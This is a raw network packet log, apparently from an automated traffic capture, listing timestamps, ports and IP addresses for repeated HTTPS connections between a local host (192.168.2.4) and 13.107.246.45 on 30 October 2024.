Oct 30, 2024 07:28:46.342031956 CET	50058	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.342052937 CET	443	50058	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.342065096 CET	50058	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.342072964 CET	443	50058	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.345148087 CET	50063	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.345181942 CET	443	50063	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.345254898 CET	50063	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.345400095 CET	50063	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.345410109 CET	443	50063	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.349196911 CET	443	50059	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.350080967 CET	50059	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.350097895 CET	443	50059	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.350572109 CET	50059	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.350577116 CET	443	50059	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.388969898 CET	443	50060	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.390980959 CET	50060	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.391006947 CET	443	50060	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.391339064 CET	50060	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.391345978 CET	443	50060	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.417584896 CET	443	50061	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.418884993 CET	50061	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.418910980 CET	443	50061	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.419219971 CET	50061	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.419226885 CET	443	50061	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.438735008 CET	443	50062	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.442939997 CET	50062	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.442956924 CET	443	50062	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.443244934 CET	50062	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.443255901 CET	443	50062	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.479607105 CET	443	50059	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.479636908 CET	443	50059	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.479687929 CET	443	50059	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.479732037 CET	50059	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.479888916 CET	50059	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.479979992 CET	50059	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.479995966 CET	443	50059	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.480010033 CET	50059	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.480015039 CET	443	50059	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.483182907 CET	50064	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.483208895 CET	443	50064	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.483283997 CET	50064	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.483447075 CET	50064	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.483455896 CET	443	50064	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.519387007 CET	443	50060	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.519465923 CET	443	50060	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.519674063 CET	50060	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.519716978 CET	50060	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.519733906 CET	443	50060	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.519747019 CET	50060	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.519752026 CET	443	50060	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.522444010 CET	50065	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.522485018 CET	443	50065	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.522562027 CET	50065	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.522706985 CET	50065	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.522718906 CET	443	50065	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.552210093 CET	443	50061	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.552279949 CET	443	50061	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.552572966 CET	50061	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.552628994 CET	50061	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.552643061 CET	443	50061	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.552658081 CET	50061	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.552663088 CET	443	50061	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.555588961 CET	50066	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.555632114 CET	443	50066	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.555713892 CET	50066	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.555849075 CET	50066	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.555860996 CET	443	50066	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.568428040 CET	443	50062	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.568506002 CET	443	50062	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.568625927 CET	50062	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.568968058 CET	50062	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.568968058 CET	50062	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.568980932 CET	443	50062	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.568989992 CET	443	50062	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.571367025 CET	50067	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.571414948 CET	443	50067	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.571500063 CET	50067	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.571614027 CET	50067	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.571625948 CET	443	50067	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.074282885 CET	443	50063	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.083062887 CET	50063	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.083092928 CET	443	50063	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.083940029 CET	50063	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.083945036 CET	443	50063	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.209481955 CET	443	50063	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.209523916 CET	443	50063	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.209570885 CET	443	50063	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.209568977 CET	50063	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.209621906 CET	50063	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.209983110 CET	50063	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.210001945 CET	443	50063	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.210012913 CET	50063	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.210019112 CET	443	50063	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.214178085 CET	50068	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.214205027 CET	443	50068	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.214265108 CET	50068	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.214982033 CET	50068	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.214992046 CET	443	50068	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.226273060 CET	443	50064	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.226824999 CET	50064	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.226846933 CET	443	50064	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.227392912 CET	50064	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.227399111 CET	443	50064	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.264426947 CET	443	50065	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.265098095 CET	50065	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.265116930 CET	443	50065	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.265794039 CET	50065	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.265798092 CET	443	50065	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.284007072 CET	443	50066	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.284487963 CET	50066	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.284509897 CET	443	50066	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.284953117 CET	50066	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.284960985 CET	443	50066	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.311295033 CET	443	50067	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.311774015 CET	50067	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.311784029 CET	443	50067	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.312323093 CET	50067	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.312325954 CET	443	50067	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.368691921 CET	443	50064	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.368772030 CET	443	50064	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.368932962 CET	50064	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.369275093 CET	50064	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.369294882 CET	443	50064	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.369309902 CET	50064	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.369316101 CET	443	50064	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.372900009 CET	50069	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.372956038 CET	443	50069	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.373050928 CET	50069	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.373224974 CET	50069	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.373235941 CET	443	50069	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.397087097 CET	443	50065	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.397156000 CET	443	50065	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.397285938 CET	50065	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.397600889 CET	50065	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.397617102 CET	443	50065	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.397644997 CET	50065	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.397650003 CET	443	50065	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.400789022 CET	50070	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.400825024 CET	443	50070	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.400949001 CET	50070	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.401150942 CET	50070	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.401160002 CET	443	50070	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.420406103 CET	443	50066	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.420469046 CET	443	50066	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.420638084 CET	50066	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.421065092 CET	50066	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.421087027 CET	443	50066	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.421097040 CET	50066	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.421103001 CET	443	50066	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.424303055 CET	50071	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.424331903 CET	443	50071	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.424417019 CET	50071	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.424609900 CET	50071	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.424618006 CET	443	50071	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.444541931 CET	443	50067	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.444623947 CET	443	50067	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.444797039 CET	50067	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.445286989 CET	50067	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.445296049 CET	443	50067	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.445338011 CET	50067	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.445342064 CET	443	50067	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.452838898 CET	50072	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.452886105 CET	443	50072	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.452995062 CET	50072	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.453144073 CET	50072	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.453155994 CET	443	50072	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.956259012 CET	443	50068	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.956892014 CET	50068	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.956965923 CET	443	50068	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:47.957350969 CET	50068	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:47.957369089 CET	443	50068	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.089879990 CET	443	50068	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.090337038 CET	443	50068	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.090502024 CET	50068	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.090543032 CET	50068	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.090543032 CET	50068	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.090564013 CET	443	50068	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.090578079 CET	443	50068	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.094228983 CET	50073	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.094329119 CET	443	50073	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.094468117 CET	50073	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.094660997 CET	50073	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.094706059 CET	443	50073	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.096770048 CET	443	50069	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.097259045 CET	50069	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.097286940 CET	443	50069	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.097876072 CET	50069	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.097889900 CET	443	50069	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.134676933 CET	443	50070	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.135348082 CET	50070	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.135381937 CET	443	50070	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.135910034 CET	50070	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.135915995 CET	443	50070	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.156187057 CET	443	50071	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.157298088 CET	50071	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.157332897 CET	443	50071	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.157721996 CET	50071	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.157728910 CET	443	50071	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.206412077 CET	443	50072	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.207222939 CET	50072	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.207253933 CET	443	50072	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.207859993 CET	50072	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.207871914 CET	443	50072	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.225367069 CET	443	50069	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.225441933 CET	443	50069	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.225732088 CET	50069	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.225774050 CET	50069	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.225795031 CET	443	50069	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.225805998 CET	50069	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.225811958 CET	443	50069	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.229058027 CET	50074	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.229096889 CET	443	50074	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.229429960 CET	50074	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.229971886 CET	50074	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.229985952 CET	443	50074	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.266767979 CET	443	50070	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.266834021 CET	443	50070	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.266961098 CET	50070	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.268542051 CET	50070	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.268565893 CET	443	50070	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.268599033 CET	50070	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.268604040 CET	443	50070	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.281105995 CET	50075	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.281161070 CET	443	50075	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.282495022 CET	50075	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.287789106 CET	443	50071	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.287825108 CET	443	50071	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.287875891 CET	443	50071	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.287902117 CET	50071	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.287925005 CET	50071	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.288736105 CET	50075	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.288757086 CET	443	50075	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.292541981 CET	50071	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.292570114 CET	443	50071	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.292587042 CET	50071	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.292592049 CET	443	50071	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.295702934 CET	50076	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.295744896 CET	443	50076	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.295905113 CET	50076	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.296303988 CET	50076	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.296314001 CET	443	50076	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.340138912 CET	443	50072	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.340493917 CET	443	50072	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.340997934 CET	50072	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.340997934 CET	50072	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.341424942 CET	50072	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.341444969 CET	443	50072	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.343528986 CET	50077	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.343580961 CET	443	50077	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.343655109 CET	50077	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.343796015 CET	50077	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.343806028 CET	443	50077	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.833682060 CET	443	50073	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.885308027 CET	50073	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.890805006 CET	50073	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.890813112 CET	443	50073	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.891642094 CET	50073	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.891647100 CET	443	50073	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.972074986 CET	443	50074	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.973628044 CET	50074	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.973642111 CET	443	50074	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:48.974042892 CET	50074	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:48.974049091 CET	443	50074	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.016310930 CET	443	50076	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.016659975 CET	443	50073	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.016740084 CET	443	50073	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.016807079 CET	50073	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.016822100 CET	443	50073	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.016853094 CET	50076	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.016863108 CET	443	50076	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.016889095 CET	443	50073	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.016938925 CET	50073	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.017419100 CET	50076	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.017422915 CET	443	50076	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.017575979 CET	50073	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.017590046 CET	443	50073	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.017602921 CET	50073	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.017607927 CET	443	50073	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.020684004 CET	50078	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.020705938 CET	443	50078	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.020848036 CET	50078	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.020992041 CET	50078	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.021003962 CET	443	50078	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.030136108 CET	443	50075	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.030541897 CET	50075	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.030553102 CET	443	50075	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.030987978 CET	50075	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.030992031 CET	443	50075	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.078016996 CET	443	50077	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.078668118 CET	50077	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.078687906 CET	443	50077	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.079171896 CET	50077	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.079175949 CET	443	50077	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.103090048 CET	443	50074	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.103182077 CET	443	50074	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.103239059 CET	50074	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.103419065 CET	50074	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.103420019 CET	50074	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.103441954 CET	443	50074	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.103451967 CET	443	50074	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.106873989 CET	50079	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.106983900 CET	443	50079	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.107073069 CET	50079	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.107264042 CET	50079	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.107330084 CET	443	50079	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.162101030 CET	443	50075	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.162128925 CET	443	50075	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.162173986 CET	443	50075	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.162204981 CET	50075	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.162278891 CET	50075	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.162477970 CET	50075	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.162528038 CET	443	50075	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.162544966 CET	50075	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.162576914 CET	443	50075	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.165504932 CET	50080	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.165545940 CET	443	50080	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.165621996 CET	50080	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.165786028 CET	50080	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.165803909 CET	443	50080	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.208373070 CET	443	50076	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.208445072 CET	443	50077	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.208626032 CET	443	50077	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.208745003 CET	50077	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.208977938 CET	443	50076	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.209033966 CET	50076	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.210021019 CET	50076	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.210021973 CET	50076	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.210047960 CET	443	50076	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.210088015 CET	443	50076	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.211342096 CET	50077	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.211343050 CET	50077	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.211402893 CET	443	50077	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.211456060 CET	443	50077	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.213958979 CET	50081	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.214011908 CET	443	50081	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.214065075 CET	50082	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.214077950 CET	50081	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.214109898 CET	443	50082	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.214168072 CET	50082	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.214240074 CET	50081	443	192.168.2.4	13.107.246.45
